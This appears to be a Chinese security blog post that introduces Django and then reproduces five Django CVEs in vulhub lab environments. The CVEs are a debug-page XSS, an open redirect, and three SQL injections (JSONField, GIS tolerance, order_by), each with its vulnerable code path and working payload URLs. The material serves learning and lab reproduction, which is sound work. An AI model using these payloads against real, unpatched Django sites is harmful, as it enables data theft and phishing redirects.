0x01 django基础
1.django简介
Django 是一个由 Python 编写的一个开放源代码的 Web 应用框架。
使用 Django,只要很少的代码,Python 的程序开发人员就可以轻松地完成一个正式网站所需要的大部分内容,并进一步开发出全功能的 Web 服务 Django 为MVT模型,即 Model(模型)+ View(视图)+ Template(模板)设计模式,MVT模式使后续对程序的修改和扩展简化,并且使程序某一部分的重复利用成为可能。Django 的 MTV 模式本质上和 MVC 是一样的,也是为了组件间保持松耦合关系,只是定义上有些许不同。
除了以上三层之外,还需要一个 URL 分发器,它的作用是将一个个 URL 的页面请求分发给不同的 View 处理,View 再调用相应的 Model 和 Template,MTV 的响应模式如下所示:
简易图:
用户操作流程图:
解析:
用户通过浏览器向我们的服务器发起一个请求(request),这个请求会去访问视图函数:
-
a.如果不涉及到数据调用,那么这个时候视图函数直接返回一个模板也就是一个网页给用户。
-
b.如果涉及到数据调用,那么视图函数调用模型,模型去数据库查找数据,然后逐级返回。
视图函数把返回的数据填充到模板中空格中,最后返回网页给用户。
2.django安装及运行
安装django:
pip install django
创建项目:
python -m djang startproject mysite或django-admin startproject mysite
项目目录结构:
mysite/
manage.py
mysite/
__init__.py
settings.py
urls.py
wsgi.py
启动服务:
python manage.py runserver ip:port ,即可在浏览器上访问
创建投票应用:
python manage.py startapp polls
这将会创建一个 polls
目录,它的目录结构大致如下:
polls/
__init__.py
admin.py
apps.py
migrations/
__init__.py
models.py
tests.py
views.py
这个目录结构包括了投票应用的全部内容。
编写第一个视图:
打开 polls/views.py
,把下面这些 Python 代码输入进去:
from django.http import HttpResponse
def index(request):
return HttpResponse("Hello, world. You're at the polls index.")
这是 Django 中最简单的视图。如果想看见效果,我们需要将一个 URL 映射到它——这就是我们需要 URLconf 的原因了。
为了创建 URLconf,请在 polls 目录里新建一个 urls.py
文件。你的应用目录现在看起来应该是这样:
polls/
__init__.py
admin.py
apps.py
migrations/
__init__.py
models.py
tests.py
urls.py
views.py
在 polls/urls.py
中,输入如下代码:
from django.urls import path
from . import views
urlpatterns = [
path('', views.index, name='index'),
]
下一步是要在根 URLconf 文件中指定我们创建的 polls.urls
模块。在 mysite/urls.py
文件的 urlpatterns
列表里插入一个 include()
, 如下:
from django.contrib import admin
from django.urls import include, path
urlpatterns = [
path('polls/', include('polls.urls')),
path('admin/', admin.site.urls),
]
函数 include()
允许引用其它 URLconfs。每当 Django 遇到 :func:~django.urls.include 时,它会截断与此项匹配的 URL 的部分,并将剩余的字符串发送到 URLconf 以供进一步处理。
访问视图:
总体的目录结构:
0x02 CVE-2017-12794
漏洞类型:
debug页面XSS漏洞 ,比较鸡肋
漏洞条件:
1.11.5之前的版本且开启debug模式
漏洞原因:
django在debug界面引入了一个机制,可以让开发者调试sql,当发生报错时,界面会回显错误信息。使用Postgres数据库并触发异常的时候,psycopg2会将字段名和字段值全部抛出,因此sql报错信息可控时,就会触发XSS漏洞。
如图,触发XSS的变量为frame.exc_cause,这个变量是捕获数据库异常时返回的异常信息,可以看到1.11.4版本,关闭了全局自动转义,因此如果漏洞触发时抛出的异常信息可控的话,那么就会触发XSS漏洞。
在1.11.5版本修复时,对frame.exc_cause进行了force_escape,漏洞被修复。
产生漏洞的代码路径:/django/views/debug.py
追溯到:djangodbutils.py
其中exc_type是异常,如果其类型是DataError,OperationalError,IntegrityError,InternalError,ProgrammingError,NotSupportedError,DatabaseError,InterfaceError,Error之一,则抛出一个同类型的新异常,并设置其__cause__和__traceback__为此时上下文的exc_value和traceback。
exc_value是上一个异常的说明,traceback是上一个异常的回溯栈。这个函数其实就是关联了上一个异常和当前的新异常。
最后,在500页面中,__cause__被输出。
漏洞复现:
复现环境选用的是vulhub环境:
https://github.com/phith0n/vulhub/tree/master/django/CVE-2017-12794
克隆代码后进入CVE-2017-12794,执行:docker-compose up -d
我们假设场景:
1.访问链接注册一个用户,用户名为一个XSS payload:<script>alert</script>
2.再次访问链接注册相同的用户
3.漏洞触发
0x03 CVE-2018-14574
漏洞类型:
任意url跳转漏洞
服务端未对传入的跳转url变量进行检查和控制,可能导致可恶意构造任意一个恶意地址,诱导用户跳转到恶意网站。由于是从可信的站点跳转出去的,用户会比较信任,危害有:
-
通过转到恶意网站欺骗用户输入用户名和密码盗取用户信息
-
或欺骗用户进行金钱交易
漏洞条件:
1.Django < 2.0.8
漏洞原因:
Django的配置下,如果匹配上的URL路由中最后一个是/,而用户访问的时候没加/,则Django的配置会转移到带/的请求中。
漏洞复现:
复现环境选用的是vulhub环境:
https://github.com/vulhub/vulhub/tree/master/django/CVE-2018-14574
克隆代码后进入CVE-2018-14574,执行:docker-compose build ;docker-compose up -d
1.访问我们刚才开启的环境,ip:8000,返回hello world
2.只要在url后加上//想跳转的网页,即可实现跳转,比如ip:8000//www.baidu.com,就跳转到百度了
0x04 CVE-2019-14234
漏洞类型:
JSONField/HStoreField SQL 注入
漏洞条件:
该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。
Django 2.2.x < 2.2.4
Django 2.1.x < 2.1.11
Django 1.11.x < 1.11.23
漏洞原因:
Django通常搭配postgresql数据库,而JSONField是该数据库的一种数据类型。该漏洞的出现的原因在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,而在Django通过JSONField生成sql语句时,是通过简单的字符串拼接。
直接看到JSONField的实现:
class JSONField(CheckFieldDefaultMixin, Field):
empty_strings_allowed = False
description = _('A JSON object')
default_error_messages = {
'invalid': _("Value must be valid JSON."),
}
_default_hint = ('dict', '{}')
# ...
def get_transform(self, name):
transform = super().get_transform(name)
if transform:
return transform
return KeyTransformFactory(name)
JSONField继承自Field,其实Django中所有字段都继承自Field,其中定义了 get_transform
函数。
正常情况下,transform一般用来在通过外键连接两个表,比如 .filter(author__username='phith0n')
可以表示在 author
外键连接的用户表中,找到 username
字段。用伪SQL语句表示就是:
WHERE `users`[1] 'value'
位置 [1]
是transform,比如transform是寻找外键表的字段 username
,那么生成的SQL语句就是 WHERE users.username = 'value'
。
get_transform
函数应该返回一个可执行对象,你可以理解为工厂函数,执行这个工厂函数,获得一个transform对象。
而 JSONField
用的工厂函数是 KeyTransformFactory
类,其返回的是 KeyTransform
对象:
class KeyTransformFactory:
def __init__(self, key_name):
self.key_name = key_name
def __call__(self, *args, **kwargs):
return KeyTransform(self.key_name, *args, **kwargs)
class KeyTransform(Transform):
operator = '->'
nested_operator = '#>'
def __init__(self, key_name, *args, **kwargs):
super().__init__(*args, **kwargs)
self.key_name = key_name
def as_sql(self, compiler, connection):
key_transforms = [self.key_name]
previous = self.lhs
while isinstance(previous, KeyTransform):
key_transforms.insert(0, previous.key_name)
previous = previous.lhs
lhs, params = compiler.compile(previous)
if len(key_transforms) > 1:
return "(%s %s %%s)" % (lhs, self.nested_operator), [key_transforms] + params
try:
int(self.key_name)
except ValueError:
lookup = "'%s'" % self.key_name
else:
lookup = "%s" % self.key_name
return "(%s %s %s)" % (lhs, self.operator, lookup), params
Django的model最本质的作用是生成SQL语句,所以transform需要实现一个名为 as_sql
的方法用来生成SQL语句。这里原本生成的语句应该是:
WHERE (field->'[key_name]') = 'value'
但这里可见, [key_name]
位置的json字段名是字符串拼接!
这就是本漏洞出现的原因。
漏洞复现:
复现环境选用的是vulhub环境:
https://github.com/vulhub/vulhub/tree/master/django/CVE-2019-14234
克隆代码后进入CVE-2019-14234,执行:docker-compose build ;docker-compose up -d
1.访问ip:8000,出现以下界面证明环境搭建成功
2.通过对代码的分析,可以知道如果在你的Django中使用了JSONField并且查询的“键名”可控,就可以进行SQL注入
访问http://ip:8000/admin
输入用户名admin ,密码a123123123
3.构造URL进行查询,payload:http://ip:8000/admin/vuln/collection/?detail__a’b=123
4.可以看到上图已经注入成功,并且可以看到构造的SQL语句,继续构造payload
http://ip:8000/admin/vuln/collection/?detail__title')='1' or 1=1--
那么此时实际执行的sql语句为:WHERE ("vuln_collection"."detail" -> 'title') = '1' or 1=1 --
浏览器输入http://ip:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%2d%2d%20
or 1=1为真,返回所有结果
0x05 CVE-2020-9402
漏洞类型:
Django GIS SQL 注入
漏洞条件:
Django 1.11.29之前的1.11.x版本、2.2.11之前的2.2.x版本和3.0.4之前的3.0.x版本
1、使用了GIS中聚合查询的功能
2、用户在oracle的数据库且可控tolerance查询时的键名
漏洞原因:
GIS查询API是一个地理位置的查询API,提供用户存储精确GPS的位置的数据模块,属于一个空间数据库。我们可以通过如下的经纬度信息
pnt = GEOSGeometry('POINT(-96.876369 29.905320)', srid=4326)
>>>SRID=4326;POINT (-96.876369 29.90532)
来获得一个具体的定位信息,通过如下的模块来构建一个基本的地理信息存储
from django.contrib.gis.db import models
class Names(models.Model):
name = models.CharField(max_length=128)
def __str__(self):
return self.name
class Interstate(Names):
path = models.LineStringField()
后台存储的时候发出path的信息为json数据,例如
{"type":"LineString","coordinates":[[-8167.236601807093,-3286.248045708844],[-7896.285624495958,-3324.9553281818644],[1083.8039092445451,-654.1528375435246]]}
我们就获得了一个基本的地理位置数据,同理,通过构造一个聚合的查询方法
def vuln(request):
q = request.GET.get('q')
qs=Interstate.objects.annotate(
d=Distance(
Point(-0.0733675346842369, -0.0295208671625432, srid=4326),
Point(0.009735976166628611, -0.00587635491086091, srid=4326),
tolerance = q,
),
).filter(d=D(m=1)).values('name')
对应的查询语句为
SELECT "APP_NAMEDMODEL"."NAME" FROM "APP_INTERSTATE" INNER JOIN "APP_NAMEDMODEL" ON ("APP_INTERSTATE"."NAMEDMODEL_PTR_ID" = "APP_NAMEDMODEL"."ID") WHERE SDO_GEOM.SDO_DISTANCE(SDO_GEOMETRY(POINT (-0.0733675346842369 -0.0295208671625432),4326), SDO_GEOMETRY(POINT (0.009735976166628611 -0.00587635491086091),4326), 0.05) = 1.0 FETCH FIRST 21 ROWS ONLY;
当我们传入http://ip:8000/vuln/?q=20) = 1 OR 1=1 OR (1+1时,此时的sql查询语句是:
SELECT "APP_NAMEDMODEL"."NAME" FROM "APP_INTERSTATE" INNER JOIN "APP_NAMEDMODEL" ON ("APP_INTERSTATE"."NAMEDMODEL_PTR_ID" = "APP_NAMEDMODEL"."ID") WHERE SDO_GEOM.SDO_DISTANCE(SDO_GEOMETRY(POINT (-0.0733675346842369 -0.0295208671625432),4326), SDO_GEOMETRY(POINT (0.009735976166628611 -0.00587635491086091),4326), 0.05) = 1 OR 1=1 OR (1+1) = 1.0 FETCH FIRST 21 ROWS ONLY
漏洞复现:
复现环境选用的是vulhub环境:
https://github.com/vulhub/vulhub/tree/master/django/CVE-2020-9402
克隆代码后进入CVE-2020-9402,执行:docker-compose build ;docker-compose up -d
1.访问ip:8000会报错
访问路径不对,提示有admin、vuln、vuln2,3个页面,存在漏洞的是vuln、vuln2,我们直接访问vuln,发现一片空
下面我们来构造q=20)%20%3D%201%20OR%2020(select%20utl_inaddr.get_host_name((SELE%20T%20ve%20sio%20v%240FROM%20v%24%20nst%20nce)%20is%20null%20%20OR%20(1%2B%20is%20null%20%20OR%20(1%2B1
q=20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1
报了语法错误,存在SQL注入
0x06 CVE-2021-35042
漏洞类型:
sql注入
漏洞条件:
Django < 3.2.5
Django < 3.1.13
漏洞原因:
漏洞是由参数在传递给 QuerySet.order_by() 的时候,未经处理的用户输入可绕过验证导致。最终可造成SQL注入等危害。
漏洞复现:
复现环境选用的是vulhub环境:
https://github.com/vulhub/vulhub/tree/master/django/CVE-2021-35042
克隆代码后进入CVE-2021-35042,执行:docker-compose build ;docker-compose up -d
1.访问ip:8000/vuln/?order=id
2.输入payload
ip:8000?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20@@basedir)),1)%23
报了语法错误,存在SQL注入
参考链接
https://www.runoob.com/django/django-intro.html
https://blog.csdn.net/m0_48520508/article/details/107639153
http://www.hackdig.com/03/hack-75046.htm
https://blog.csdn.net/qq_32171761/article/details/109290370
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论